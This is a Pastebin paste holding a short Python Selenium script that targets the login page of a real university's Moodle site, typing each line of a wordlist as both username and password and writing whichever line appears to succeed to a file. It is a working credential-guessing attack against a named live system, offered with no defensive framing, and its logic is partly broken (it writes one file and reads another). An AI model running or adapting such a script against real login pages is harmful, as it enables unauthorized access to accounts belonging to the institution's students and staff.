Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import selenium
- from selenium import webdriver
- from selenium.webdriver import chrome
- from selenium.webdriver.chrome.options import Options
- from selenium.common.exceptions import NoSuchElementException
- driver = webdriver.Chrome()
- driver.get('https://online-learning.aau.ac.ae/moodle/login/index.php')
- with open('mainwordlist.txt','r', encoding ="UTF-8") as f:
- lines = f.readlines()
- try:
- for line in lines:
- usernamebox = driver.find_element_by_xpath('//*[@id="username"]')
- usernamebox.send_keys (line)
- passwordbox = driver.find_element_by_xpath('//*[@id="password"]')
- passwordbox.send_keys(line)
- loginbutton = driver.find_element_by_xpath('//*[@id="loginbtn"]')
- loginbutton.click()
- correctpassword = line
- except selenium.common.exceptions.NoSuchElementException:
- f = open('pass.txt', 'w')
- f.write(correctpassword)
- f.close()
- f = open('correctpassword.txt', 'r')
- print(f.read())
- exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement